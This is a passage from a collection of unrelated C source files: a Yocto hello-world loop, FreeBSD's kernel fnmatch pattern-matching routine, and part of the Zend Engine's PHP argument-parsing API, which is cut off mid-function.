if (smn_training_samples) free(smn_training_samples); }
912008.c
#include <stdio.h> int main(int argc, char *argv[]) { while (1) { printf("First app on Yocto\n"); sleep(10); } return 0; }
487470.c
/*- * Copyright (c) 1989, 1993, 1994 * The Regents of the University of California. All rights reserved. * * This code is derived from software contributed to Berkeley by * Guido van Rossum. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 4. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include <sys/cdefs.h> __FBSDID("$FreeBSD: soc2013/dpl/head/sys/libkern/fnmatch.c 229554 2012-01-02 12:12:10Z ed $"); /* * Function fnmatch() as specified in POSIX 1003.2-1992, section B.6. * Compares a filename or pathname to a pattern. */ #include <sys/param.h> #include <sys/ctype.h> #include <sys/libkern.h> #define EOS '\0' #define RANGE_MATCH 1 #define RANGE_NOMATCH 0 #define RANGE_ERROR (-1) static int rangematch(const char *, char, int, char **); int fnmatch(const char *pattern, const char *string, int flags) { const char *stringstart; char *newp; char c, test; for (stringstart = string;;) switch (c = *pattern++) { case EOS: if ((flags & FNM_LEADING_DIR) && *string == '/') return (0); return (*string == EOS ? 0 : FNM_NOMATCH); case '?': if (*string == EOS) return (FNM_NOMATCH); if (*string == '/' && (flags & FNM_PATHNAME)) return (FNM_NOMATCH); if (*string == '.' && (flags & FNM_PERIOD) && (string == stringstart || ((flags & FNM_PATHNAME) && *(string - 1) == '/'))) return (FNM_NOMATCH); ++string; break; case '*': c = *pattern; /* Collapse multiple stars. */ while (c == '*') c = *++pattern; if (*string == '.' && (flags & FNM_PERIOD) && (string == stringstart || ((flags & FNM_PATHNAME) && *(string - 1) == '/'))) return (FNM_NOMATCH); /* Optimize for pattern with * at end or before /. */ if (c == EOS) if (flags & FNM_PATHNAME) return ((flags & FNM_LEADING_DIR) || strchr(string, '/') == NULL ? 0 : FNM_NOMATCH); else return (0); else if (c == '/' && flags & FNM_PATHNAME) { if ((string = strchr(string, '/')) == NULL) return (FNM_NOMATCH); break; } /* General case, use recursion. */ while ((test = *string) != EOS) { if (!fnmatch(pattern, string, flags & ~FNM_PERIOD)) return (0); if (test == '/' && flags & FNM_PATHNAME) break; ++string; } return (FNM_NOMATCH); case '[': if (*string == EOS) return (FNM_NOMATCH); if (*string == '/' && (flags & FNM_PATHNAME)) return (FNM_NOMATCH); if (*string == '.' && (flags & FNM_PERIOD) && (string == stringstart || ((flags & FNM_PATHNAME) && *(string - 1) == '/'))) return (FNM_NOMATCH); switch (rangematch(pattern, *string, flags, &newp)) { case RANGE_ERROR: goto norm; case RANGE_MATCH: pattern = newp; break; case RANGE_NOMATCH: return (FNM_NOMATCH); } ++string; break; case '\\': if (!(flags & FNM_NOESCAPE)) { if ((c = *pattern++) == EOS) { c = '\\'; --pattern; } } /* FALLTHROUGH */ default: norm: if (c == *string) ; else if ((flags & FNM_CASEFOLD) && (tolower((unsigned char)c) == tolower((unsigned char)*string))) ; else return (FNM_NOMATCH); string++; break; } /* NOTREACHED */ } static int rangematch(const char *pattern, char test, int flags, char **newp) { int negate, ok; char c, c2; /* * A bracket expression starting with an unquoted circumflex * character produces unspecified results (IEEE 1003.2-1992, * 3.13.2). This implementation treats it like '!', for * consistency with the regular expression syntax. * J.T. Conklin ([email protected]) */ if ( (negate = (*pattern == '!' || *pattern == '^')) ) ++pattern; if (flags & FNM_CASEFOLD) test = tolower((unsigned char)test); /* * A right bracket shall lose its special meaning and represent * itself in a bracket expression if it occurs first in the list. * -- POSIX.2 2.8.3.2 */ ok = 0; c = *pattern++; do { if (c == '\\' && !(flags & FNM_NOESCAPE)) c = *pattern++; if (c == EOS) return (RANGE_ERROR); if (c == '/' && (flags & FNM_PATHNAME)) return (RANGE_NOMATCH); if (flags & FNM_CASEFOLD) c = tolower((unsigned char)c); if (*pattern == '-' && (c2 = *(pattern+1)) != EOS && c2 != ']') { pattern += 2; if (c2 == '\\' && !(flags & FNM_NOESCAPE)) c2 = *pattern++; if (c2 == EOS) return (RANGE_ERROR); if (flags & FNM_CASEFOLD) c2 = tolower((unsigned char)c2); if (c <= test && test <= c2) ok = 1; } else if (c == test) ok = 1; } while ((c = *pattern++) != ']'); *newp = (char *)(uintptr_t)pattern; return (ok == negate ? RANGE_NOMATCH : RANGE_MATCH); }
746953.c
/* +----------------------------------------------------------------------+ | Zend Engine | +----------------------------------------------------------------------+ | Copyright (c) Zend Technologies Ltd. (http://www.zend.com) | +----------------------------------------------------------------------+ | This source file is subject to version 2.00 of the Zend license, | | that is bundled with this package in the file LICENSE, and is | | available through the world-wide-web at the following url: | | http://www.zend.com/license/2_00.txt. | | If you did not receive a copy of the Zend license and are unable to | | obtain it through the world-wide-web, please send a note to | | [email protected] so we can mail you a copy immediately. | +----------------------------------------------------------------------+ | Authors: Andi Gutmans <[email protected]> | | Zeev Suraski <[email protected]> | | Andrei Zmievski <[email protected]> | | Dmitry Stogov <[email protected]> | +----------------------------------------------------------------------+ */ #include "zend.h" #include "zend_execute.h" #include "zend_API.h" #include "zend_modules.h" #include "zend_extensions.h" #include "zend_constants.h" #include "zend_interfaces.h" #include "zend_exceptions.h" #include "zend_closures.h" #include "zend_inheritance.h" #include <stdarg.h> /* these variables are true statics/globals, and have to be mutex'ed on every access */ ZEND_API HashTable module_registry; static zend_module_entry **module_request_startup_handlers; static zend_module_entry **module_request_shutdown_handlers; static zend_module_entry **module_post_deactivate_handlers; static zend_class_entry **class_cleanup_handlers; ZEND_API int _zend_get_parameters_array_ex(int param_count, zval *argument_array) /* {{{ */ { zval *param_ptr; int arg_count; param_ptr = ZEND_CALL_ARG(EG(current_execute_data), 1); arg_count = ZEND_CALL_NUM_ARGS(EG(current_execute_data)); if (param_count>arg_count) { return FAILURE; } while (param_count-->0) { ZVAL_COPY_VALUE(argument_array, param_ptr); argument_array++; param_ptr++; } return SUCCESS; } /* }}} */ ZEND_API int zend_copy_parameters_array(int param_count, zval *argument_array) /* {{{ */ { zval *param_ptr; int arg_count; param_ptr = ZEND_CALL_ARG(EG(current_execute_data), 1); arg_count = ZEND_CALL_NUM_ARGS(EG(current_execute_data)); if (param_count>arg_count) { return FAILURE; } while (param_count-->0) { Z_TRY_ADDREF_P(param_ptr); zend_hash_next_index_insert_new(Z_ARRVAL_P(argument_array), param_ptr); param_ptr++; } return SUCCESS; } /* }}} */ ZEND_API ZEND_COLD void zend_wrong_param_count(void) /* {{{ */ { const char *space; const char *class_name = get_active_class_name(&space); zend_internal_argument_count_error(ZEND_ARG_USES_STRICT_TYPES(), "Wrong parameter count for %s%s%s()", class_name, space, get_active_function_name()); } /* }}} */ /* Argument parsing API -- andrei */ ZEND_API char *zend_get_type_by_const(int type) /* {{{ */ { switch(type) { case IS_FALSE: case IS_TRUE: case _IS_BOOL: return "bool"; case IS_LONG: return "int"; case IS_DOUBLE: return "float"; case IS_STRING: return "string"; case IS_OBJECT: return "object"; case IS_RESOURCE: return "resource"; case IS_NULL: return "null"; case IS_CALLABLE: return "callable"; case IS_ITERABLE: return "iterable"; case IS_ARRAY: return "array"; case IS_VOID: return "void"; case _IS_NUMBER: return "number"; default: return "unknown"; } } /* }}} */ ZEND_API char *zend_zval_type_name(const zval *arg) /* {{{ */ { ZVAL_DEREF(arg); return zend_get_type_by_const(Z_TYPE_P(arg)); } /* }}} */ ZEND_API zend_string *zend_zval_get_type(const zval *arg) /* {{{ */ { switch (Z_TYPE_P(arg)) { case IS_NULL: return ZSTR_KNOWN(ZEND_STR_NULL); case IS_FALSE: case IS_TRUE: return ZSTR_KNOWN(ZEND_STR_BOOLEAN); case IS_LONG: return ZSTR_KNOWN(ZEND_STR_INTEGER); case IS_DOUBLE: return ZSTR_KNOWN(ZEND_STR_DOUBLE); case IS_STRING: return ZSTR_KNOWN(ZEND_STR_STRING); case IS_ARRAY: return ZSTR_KNOWN(ZEND_STR_ARRAY); case IS_OBJECT: return ZSTR_KNOWN(ZEND_STR_OBJECT); case IS_RESOURCE: if (zend_rsrc_list_get_rsrc_type(Z_RES_P(arg))) { return ZSTR_KNOWN(ZEND_STR_RESOURCE); } else { return ZSTR_KNOWN(ZEND_STR_CLOSED_RESOURCE); } default: return NULL; } } /* }}} */ ZEND_API ZEND_COLD int ZEND_FASTCALL zend_wrong_parameters_none_error(void) /* {{{ */ { int num_args = ZEND_CALL_NUM_ARGS(EG(current_execute_data)); zend_function *active_function = EG(current_execute_data)->func; const char *class_name = active_function->common.scope ? ZSTR_VAL(active_function->common.scope->name) : ""; zend_internal_argument_count_error( ZEND_ARG_USES_STRICT_TYPES(), "%s%s%s() expects %s %d parameter%s, %d given", class_name, \ class_name[0] ? "::" : "", \ ZSTR_VAL(active_function->common.function_name), "exactly", 0, "s", num_args); return FAILURE; } /* }}} */ ZEND_API ZEND_COLD int ZEND_FASTCALL zend_wrong_parameters_none_exception(void) /* {{{ */ { int num_args = ZEND_CALL_NUM_ARGS(EG(current_execute_data)); zend_function *active_function = EG(current_execute_data)->func; const char *class_name = active_function->common.scope ? ZSTR_VAL(active_function->common.scope->name) : ""; zend_internal_argument_count_error( 1, "%s%s%s() expects %s %d parameter%s, %d given", class_name, \ class_name[0] ? "::" : "", \ ZSTR_VAL(active_function->common.function_name), "exactly", 0, "s", num_args); return FAILURE; } /* }}} */ ZEND_API ZEND_COLD void ZEND_FASTCALL zend_wrong_parameters_count_error(int min_num_args, int max_num_args) /* {{{ */ { int num_args = ZEND_CALL_NUM_ARGS(EG(current_execute_data)); zend_function *active_function = EG(current_execute_data)->func; const char *class_name = active_function->common.scope ? ZSTR_VAL(active_function->common.scope->name) : ""; zend_internal_argument_count_error( ZEND_ARG_USES_STRICT_TYPES(), "%s%s%s() expects %s %d parameter%s, %d given", class_name, \ class_name[0] ? "::" : "", \ ZSTR_VAL(active_function->common.function_name), min_num_args == max_num_args ? "exactly" : num_args < min_num_args ? "at least" : "at most", num_args < min_num_args ? min_num_args : max_num_args, (num_args < min_num_args ? min_num_args : max_num_args) == 1 ? "" : "s", num_args); } /* }}} */ ZEND_API ZEND_COLD void ZEND_FASTCALL zend_wrong_parameters_count_exception(int min_num_args, int max_num_args) /* {{{ */ { int num_args = ZEND_CALL_NUM_ARGS(EG(current_execute_data)); zend_function *active_function = EG(current_execute_data)->func; const char *class_name = active_function->common.scope ? ZSTR_VAL(active_function->common.scope->name) : ""; zend_internal_argument_count_error( 1, "%s%s%s() expects %s %d parameter%s, %d given", class_name, \ class_name[0] ? "::" : "", \ ZSTR_VAL(active_function->common.function_name), min_num_args == max_num_args ? "exactly" : num_args < min_num_args ? "at least" : "at most", num_args < min_num_args ? min_num_args : max_num_args, (num_args < min_num_args ? min_num_args : max_num_args) == 1 ? "" : "s", num_args); } /* }}} */ ZEND_API ZEND_COLD void ZEND_FASTCALL zend_wrong_parameter_type_error(int num, zend_expected_type expected_type, zval *arg) /* {{{ */ { const char *space; const char *class_name = get_active_class_name(&space); static const char * const expected_error[] = { Z_EXPECTED_TYPES(Z_EXPECTED_TYPE_STR) NULL }; zend_internal_type_error(ZEND_ARG_USES_STRICT_TYPES(), "%s%s%s() expects parameter %d to be %s, %s given", class_name, space, get_active_function_name(), num, expected_error[expected_type], zend_zval_type_name(arg)); } /* }}} */ ZEND_API ZEND_COLD void ZEND_FASTCALL zend_wrong_parameter_type_exception(int num, zend_expected_type expected_type, zval *arg) /* {{{ */ { const char *space; const char *class_name = get_active_class_name(&space); static const char * const expected_error[] = { Z_EXPECTED_TYPES(Z_EXPECTED_TYPE_STR) NULL }; zend_internal_type_error(1, "%s%s%s() expects parameter %d to be %s, %s given", class_name, space, get_active_function_name(), num, expected_error[expected_type], zend_zval_type_name(arg)); } /* }}} */ ZEND_API ZEND_COLD void ZEND_FASTCALL zend_wrong_parameter_class_error(int num, char *name, zval *arg) /* {{{ */ { const char *space; const char *class_name = get_active_class_name(&space); zend_internal_type_error(ZEND_ARG_USES_STRICT_TYPES(), "%s%s%s() expects parameter %d to be %s, %s given", class_name, space, get_active_function_name(), num, name, zend_zval_type_name(arg)); } /* }}} */ ZEND_API ZEND_COLD void ZEND_FASTCALL zend_wrong_parameter_class_exception(int num, char *name, zval *arg) /* {{{ */ { const char *space; const char *class_name = get_active_class_name(&space); zend_internal_type_error(1, "%s%s%s() expects parameter %d to be %s, %s given", class_name, space, get_active_function_name(), num, name, zend_zval_type_name(arg)); } /* }}} */ ZEND_API ZEND_COLD void ZEND_FASTCALL zend_wrong_callback_error(int num, char *error) /* {{{ */ { const char *space; const char *class_name = get_active_class_name(&space); zend_internal_type_error(ZEND_ARG_USES_STRICT_TYPES(), "%s%s%s() expects parameter %d to be a valid callback, %s", class_name, space, get_active_function_name(), num, error); efree(error); } /* }}} */ ZEND_API ZEND_COLD void ZEND_FASTCALL zend_wrong_callback_exception(int num, char *error) /* {{{ */ { const char *space; const char *class_name = get_active_class_name(&space); zend_internal_type_error(1, "%s%s%s() expects parameter %d to be a valid callback, %s", class_name, space, get_active_function_name(), num, error); efree(error); } /* }}} */ ZEND_API int ZEND_FASTCALL zend_parse_arg_class(zval *arg, zend_class_entry **pce, int num, int check_null) /* {{{ */ { zend_class_entry *ce_base = *pce; if (check_null && Z_TYPE_P(arg) == IS_NULL) { *pce = NULL; return 1; } convert_to_string_ex(arg); *pce = zend_lookup_class(Z_STR_P(arg)); if (ce_base) { if ((!*pce || !instanceof_function(*pce, ce_base))) { const char *space; const char *class_name = get_active_class_name(&space); zend_internal_type_error(ZEND_ARG_USES_STRICT_TYPES(), "%s%s%s() expects parameter %d to be a class name derived from %s, '%s' given", class_name, space, get_active_function_name(), num, ZSTR_VAL(ce_base->name), Z_STRVAL_P(arg)); *pce = NULL; return 0; } } if (!*pce) { const char *space; const char *class_name = get_active_class_name(&space); zend_internal_type_error(ZEND_ARG_USES_STRICT_TYPES(), "%s%s%s() expects parameter %d to be a valid class name, '%s' given", class_name, space, get_active_function_name(), num, Z_STRVAL_P(arg)); return 0; } return 1; } /* }}} */ ZEND_API int ZEND_FASTCALL zend_parse_arg_bool_weak(zval *arg, zend_bool *dest) /* {{{ */ { if (EXPECTED(Z_TYPE_P(arg) <= IS_STRING)) { *dest = zend_is_true(arg); } else { return 0; } return 1; } /* }}} */ ZEND_API int ZEND_FASTCALL zend_parse_arg_bool_slow(zval *arg, zend_bool *dest) /* {{{ */ { if (UNEXPECTED(ZEND_ARG_USES_STRICT_TYPES())) { return 0; } return zend_parse_arg_bool_weak(arg, dest); } /* }}} */ ZEND_API int ZEND_FASTCALL zend_parse_arg_long_weak(zval *arg, zend_long *dest) /* {{{ */ { if (EXPECTED(Z_TYPE_P(arg) == IS_DOUBLE)) { if (UNEXPECTED(zend_isnan(Z_DVAL_P(arg)))) { return 0; } if (UNEXPECTED(!ZEND_DOUBLE_FITS_LONG(Z_DVAL_P(arg)))) { return 0; } else { *dest = zend_dval_to_lval(Z_DVAL_P(arg)); } } else if (EXPECTED(Z_TYPE_P(arg) == IS_STRING)) { double d; int type; if (UNEXPECTED((type = is_numeric_str_function(Z_STR_P(arg), dest, &d)) != IS_LONG)) { if (EXPECTED(type != 0)) { if (UNEXPECTED(zend_isnan(d))) { return 0; } if (UNEXPECTED(!ZEND_DOUBLE_FITS_LONG(d))) { return 0; } else { *dest = zend_dval_to_lval(d); } } else { return 0; } } } else if (EXPECTED(Z_TYPE_P(arg) < IS_TRUE)) { *dest = 0; } else if (EXPECTED(Z_TYPE_P(arg) == IS_TRUE)) { *dest = 1; } else { return 0; } return 1; } /* }}} */ ZEND_API int ZEND_FASTCALL zend_parse_arg_long_slow(zval *arg, zend_long *dest) /* {{{ */ { if (UNEXPECTED(ZEND_ARG_USES_STRICT_TYPES())) { return 0; } return zend_parse_arg_long_weak(arg, dest); } /* }}} */ ZEND_API int ZEND_FASTCALL zend_parse_arg_long_cap_weak(zval *arg, zend_long *dest) /* {{{ */ { if (EXPECTED(Z_TYPE_P(arg) == IS_DOUBLE)) { if (UNEXPECTED(zend_isnan(Z_DVAL_P(arg)))) { return 0; } *dest = zend_dval_to_lval_cap(Z_DVAL_P(arg)); } else if (EXPECTED(Z_TYPE_P(arg) == IS_STRING)) { double d; int type; if (UNEXPECTED((type = is_numeric_str_function(Z_STR_P(arg), dest, &d)) != IS_LONG)) { if (EXPECTED(type != 0)) { if (UNEXPECTED(zend_isnan(d))) { return 0; } *dest = zend_dval_to_lval_cap(d); } else { return 0; } } } else if (EXPECTED(Z_TYPE_P(arg) < IS_TRUE)) { *dest = 0; } else if (EXPECTED(Z_TYPE_P(arg) == IS_TRUE)) { *dest = 1; } else { return 0; } return 1; } /* }}} */ ZEND_API int ZEND_FASTCALL zend_parse_arg_long_cap_slow(zval *arg, zend_long *dest) /* {{{ */ { if (UNEXPECTED(ZEND_ARG_USES_STRICT_TYPES())) { return 0; } return zend_parse_arg_long_cap_weak(arg, dest); } /* }}} */ ZEND_API int ZEND_FASTCALL zend_parse_arg_double_weak(zval *arg, double *dest) /* {{{ */ { if (EXPECTED(Z_TYPE_P(arg) == IS_LONG)) { *dest = (double)Z_LVAL_P(arg); } else if (EXPECTED(Z_TYPE_P(arg) == IS_STRING)) { zend_long l; int type; if (UNEXPECTED((type = is_numeric_str_function(Z_STR_P(arg), &l, dest)) != IS_DOUBLE)) { if (EXPECTED(type != 0)) { *dest = (double)(l); } else { return 0; } } } else if (EXPECTED(Z_TYPE_P(arg) < IS_TRUE)) { *dest = 0.0; } else if (EXPECTED(Z_TYPE_P(arg) == IS_TRUE)) { *dest = 1.0; } else { return 0; } return 1; } /* }}} */ ZEND_API int ZEND_FASTCALL zend_parse_arg_double_slow(zval *arg, double *dest) /* {{{ */ { if (EXPECTED(Z_TYPE_P(arg) == IS_LONG)) { /* SSTH Exception: IS_LONG may be accepted instead as IS_DOUBLE */ *dest = (double)Z_LVAL_P(arg); } else if (UNEXPECTED(ZEND_ARG_USES_STRICT_TYPES())) { return 0; } return zend_parse_arg_double_weak(arg, dest); } /* }}} */ ZEND_API int ZEND_FASTCALL zend_parse_arg_str_weak(zval *arg, zend_string **dest) /* {{{ */ { if (EXPECTED(Z_TYPE_P(arg) < IS_STRING)) { convert_to_string(arg); *dest = Z_STR_P(arg); } else if (UNEXPECTED(Z_TYPE_P(arg) == IS_OBJECT)) { zend_object *zobj = Z_OBJ_P(arg); if (Z_OBJ_HANDLER_P(arg, cast_object)) { zval obj; if (zobj->handlers->cast_object(zobj, &obj, IS_STRING) == SUCCESS) { OBJ_RELEASE(zobj); ZVAL_COPY_VALUE(arg, &obj); *dest = Z_STR_P(arg); return 1; } } else if (zobj->handlers->get) { zval rv; zval *z = zobj->handlers->get(zobj, &rv); if (Z_TYPE_P(z) != IS_OBJECT) { OBJ_RELEASE(zobj); if (Z_TYPE_P(z) == IS_STRING) { ZVAL_COPY_VALUE(arg, z); } else { ZVAL_STR(arg, zval_get_string_func(z)); zval_ptr_dtor(z); } *dest = Z_STR_P(arg); return 1; } zval_ptr_dtor(z); } return 0; } else { return 0; } return 1; } /* }}} */ ZEND_API int ZEND_FASTCALL zend_parse_arg_str_slow(zval *arg, zend_string **dest) /* {{{ */ { if (UNEXPECTED(ZEND_ARG_USES_STRICT_TYPES())) { return 0; } return zend_parse_arg_str_weak(arg, dest); } /* }}} */ static const char *zend_parse_arg_impl(int arg_num, zval *arg, va_list *va, const char **spec, char **error) /* {{{ */ { const char *spec_walk = *spec; char c = *spec_walk++; int check_null = 0; int separate = 0; zval *real_arg = arg; /* scan through modifiers */ ZVAL_DEREF(arg); while (1) { if (*spec_walk == '/') { SEPARATE_ZVAL_NOREF(arg); real_arg = arg; separate = 1; } else if (*spec_walk == '!') { check_null = 1; } else { break; } spec_walk++; } switch (c) { case 'l': case 'L': { zend_long *p = va_arg(*va, zend_long *); zend_bool *is_null = NULL; if (check_null) { is_null = va_arg(*va, zend_bool *); } if (!zend_parse_arg_long(arg, p, is_null, check_null, c == 'L')) { return "int"; } } break; case 'd': { double *p = va_arg(*va, double *); zend_bool *is_null = NULL; if (check_null) { is_null = va_arg(*va, zend_bool *); } if (!zend_parse_arg_double(arg, p, is_null, check_null)) { return "float"; } } break; case 's': { char **p = va_arg(*va, char **); size_t *pl = va_arg(*va, size_t *); if (!zend_parse_arg_string(arg, p, pl, check_null)) { return "string"; } } break; case 'p': { char **p = va_arg(*va, char **); size_t *pl = va_arg(*va, size_t *); if (!zend_parse_arg_path(arg, p, pl, check_null)) { return "a valid path"; } } break; case 'P': { zend_string **str = va_arg(*va, zend_string **); if (!zend_parse_arg_path_str(arg, str, check_null)) { return "a valid path"; } } break; case 'S': { zend_string **str = va_arg(*va, zend_string **); if (!zend_parse_arg_str(arg, str, check_null)) { return "string"; } } break; case 'b': { zend_bool *p = va_arg(*va, zend_bool *); zend_bool *is_null = NULL; if (check_null) { is_null = va_arg(*va, zend_bool *); } if (!zend_parse_arg_bool(arg, p, is_null, check_null)) { return "bool"; } } break; case 'r': { zval **p = va_arg(*va, zval **); if (!zend_parse_arg_resource(arg, p, check_null)) { return "resource"; } } break; case 'A': case 'a': { zval **p = va_arg(*va, zval **); if (!zend_parse_arg_array(arg, p, check_null, c == 'A')) { return "array"; } } break; case 'H': case 'h': { HashTable **p = va_arg(*va, HashTable **); if (!zend_parse_arg_array_ht(arg, p, check_null, c == 'H', separate)) { return "array"; } } break; case 'o': { zval **p = va_arg(*va, zval **); if (!zend_parse_arg_object(arg, p, NULL, check_null)) { return "object"; } } break; case 'O': { zval **p = va_arg(*va, zval **); zend_class_entry *ce = va_arg(*va, zend_class_entry *); if (!zend_parse_arg_object(arg, p, ce, check_null)) { if (ce) { return ZSTR_VAL(ce->name); } else { return "object"; } } } break; case 'C': { zend_class_entry *lookup, **pce = va_arg(*va, zend_class_entry **); zend_class_entry *ce_base = *pce; if (check_null && Z_TYPE_P(arg) == IS_NULL) { *pce = NULL; break; } convert_to_string_ex(arg); if ((lookup = zend_lookup_class(Z_STR_P(arg))) == NULL) { *pce = NULL; } else { *pce = lookup; } if (ce_base) { if ((!*pce || !instanceof_function(*pce, ce_base))) { zend_spprintf(error, 0, "to be a class name derived from %s, '%s' given", ZSTR_VAL(ce_base->name), Z_STRVAL_P(arg)); *pce = NULL; return ""; } } if (!*pce) { zend_spprintf(error, 0, "to be a valid class name, '%s' given", Z_STRVAL_P(arg)); return ""; } break; } break; case 'f': { zend_fcall_info *fci = va_arg(*va, zend_fcall_info *); zend_fcall_info_cache *fcc = va_arg(*va, zend_fcall_info_cache *); char *is_callable_error = NULL; if (check_null && Z_TYPE_P(arg) == IS_NULL) { fci->size = 0; fcc->function_handler = 0; break; } if (zend_fcall_info_init(arg, 0, fci, fcc, NULL, &is_callable_error) == SUCCESS) { ZEND_ASSERT(!is_callable_error); break; } if (is_callable_error) { zend_spprintf(error, 0, "to be a valid callback, %s", is_callable_error); efree(is_callable_error); return ""; } else { return "valid callback"; } } case 'z': { zval **p = va_arg(*va, zval **); zend_parse_arg_zval_deref(real_arg, p, check_null); } break; case 'Z': /* 'Z' iz not supported anymore and should be replaced with 'z' */ ZEND_ASSERT(c != 'Z'); default: return "unknown"; } *spec = spec_walk; return NULL; } /* }}} */ static int zend_parse_arg(int arg_num, zval *arg, va_list *va, const char **spec, int flags) /* {{{ */ { const char *expected_type = NULL; char *error = NULL; expected_type = zend_parse_arg_impl(arg_num, arg, va, spec, &error); if (expected_type) { if (!(flags & ZEND_PARSE_PARAMS_QUIET) && (*expected_type || error)) { const char *space; const char *class_name = get_active_class_name(&space); zend_bool throw_exception = ZEND_ARG_USES_STRICT_TYPES() || (flags & ZEND_PARSE_PARAMS_THROW); if (error) { zend_internal_type_error(throw_exception, "%s%s%s() expects parameter %d %s", class_name, space, get_active_function_name(), arg_num, error); efree(error); } else { zend_internal_type_error(throw_exception, "%s%s%s() expects parameter %d to be %s, %s given", class_name, space, get_active_function_name(), arg_num, expected_type, zend_zval_type_name(arg)); } } return FAILURE; } return SUCCESS; } /* }}} */ ZEND_API int zend_parse_parameter(int flags, int arg_num, zval *arg, const char *spec, ...) { va_list va; int ret; va_start(va, spec); ret = zend_parse_arg(arg_num, arg, &va, &spec, flags); va_end(va); return ret; } static ZEND_COLD void zend_parse_parameters_debug_error(const char *msg) { zend_function *active_function = EG(current_execute_data)->func; const char *class_name = active_function->common.scope ? ZSTR_VAL(active_function->common.scope->name) : ""; zend_error_noreturn(E_CORE_ERROR, "%s%s%s(): %s", class_name, class_name[0] ? "::" : "", ZSTR_VAL(active_function->common.function_name), msg); } static int zend_parse_va_args(int num_args, const char *type_spec, va_list *va, int flags) /* {{{ */ { const char *spec_walk; int c, i; int min_num_args = -1; int max_num_args = 0; int post_varargs = 0; zval *arg; int arg_count; zend_bool have_varargs = 0; zval **varargs = NULL; int *n_varargs = NULL; for (spec_walk = type_spec; *spec_walk; spec_walk++) { c = *spec_walk; switch (c) { case 'l': case 'd': case 's': case 'b': case 'r': case 'a': case 'o': case 'O': case 'z': case 'Z': case 'C': case 'h': case 'f': case 'A': case 'H': case 'p': case 'S': case 'P': case 'L': max_num_args++; break; case '|': min_num_args = max_num_args; break; case '/': case '!': /* Pass */ break; case '*': case '+': if (have_varargs) { zend_parse_parameters_debug_error( "only one varargs specifier (* or +) is permitted"); return FAILURE; } have_varargs = 1; /* we expect at least one parameter in varargs */ if (c == '+') { max_num_args++; } /* mark the beginning of varargs */ post_varargs = max_num_args; break; default: zend_parse_parameters_debug_error("bad type specifier while parsing parameters"); return FAILURE; } } if (min_num_args < 0) { min_num_args = max_num_args; } if (have_varargs) { /* calculate how many required args are at the end of the specifier list */ post_varargs = max_num_args - post_varargs; max_num_args = -1; } if (num_args < min_num_args || (num_args > max_num_args && max_num_args >= 0)) { if (!(flags & ZEND_PARSE_PARAMS_QUIET)) { zend_function *active_function = EG(current_execute_data)->func; const char *class_name = active_function->common.scope ? ZSTR_VAL(active_function->common.scope->name) : ""; zend_bool throw_exception = ZEND_ARG_USES_STRICT_TYPES() || (flags & ZEND_PARSE_PARAMS_THROW); zend_internal_argument_count_error(throw_exception, "%s%s%s() expects %s %d parameter%s, %d given", class_name, class_name[0] ? "::" : "", ZSTR_VAL(active_function->common.function_name), min_num_args == max_num_args ? "exactly" : num_args < min_num_args ? "at least" : "at most", num_args < min_num_args ? min_num_args : max_num_args, (num_args < min_num_args ? min_num_args : max_num_args) == 1 ? "" : "s", num_args); } return FAILURE; } arg_count = ZEND_CALL_NUM_ARGS(EG(current_execute_data)); if (num_args > arg_count) { zend_parse_parameters_debug_error("could not obtain parameters for parsing"); return FAILURE; } i = 0; while (num_args-- > 0) { if (*type_spec == '|') { type_spec++; } if (*type_spec == '*' || *type_spec == '+') { int num_varargs = num_args + 1 - post_varargs; /* eat up the passed in storage even if it won't be filled in with varargs */ varargs = va_arg(*va, zval **); n_varargs = va_arg(*va, int *); type_spec++; if (num_varargs > 0) { *n_varargs = num_varargs; *varargs = ZEND_CALL_ARG(EG(current_execute_data), i + 1); /* adjust how many args we have left and restart loop */ num_args += 1 - num_varargs; i += num_varargs; continue; } else { *varargs = NULL; *n_varargs = 0; } } arg = ZEND_CALL_ARG(EG(current_execute_data), i + 1); if (zend_parse_arg(i+1, arg, va, &type_spec, flags) == FAILURE) { /* clean up varargs array if it was used */ if (varargs && *varargs) { *varargs = NULL; } return FAILURE; } i++; } return SUCCESS; } /* }}} */ ZEND_API int zend_parse_parameters_ex(int flags, int num_args, const char *type_spec, ...) /* {{{ */ { va_list va; int retval; va_start(va, type_spec); retval = zend_parse_va_args(num_args, type_spec, &va, flags); va_end(va); return retval; } /* }}} */ ZEND_API int zend_parse_parameters(int num_args, const char *type_spec, ...) /* {{{ */ { va_list va; int retval; int flags = 0; va_start(va, type_spec); retval = zend_parse_va_args(num_args, type_spec, &va, flags); va_end(va); return retval; } /* }}} */ ZEND_API int zend_parse_parameters_throw(int num_args, const char *type_spec, ...) /* {{{ */ { va_list va; int retval; int flags = ZEND_PARSE_PARAMS_THROW; va_start(va, type_spec); retval = zend_parse_va_args(num_args, type_spec, &va, flags); va_end(va); return retval; } /* }}} */ ZEND_API int zend_parse_method_parameters(int num_args, zval *this_ptr, const char *type_spec, ...) /* {{{ */ { va_list va; int retval; int flags = 0; const char *p = type_spec; zval **object; zend_class_entry *ce; /* Just checking this_ptr is not enough, because fcall_common_helper does not set * Z_OBJ(EG(This)) to NULL when calling an internal function with common.scope == NULL. * In that case EG(This) would still be the $this from the calling code and we'd take the * wrong branch here. */ zend_bool is_method = EG(current_execute_data)->func->common.scope != NULL; if 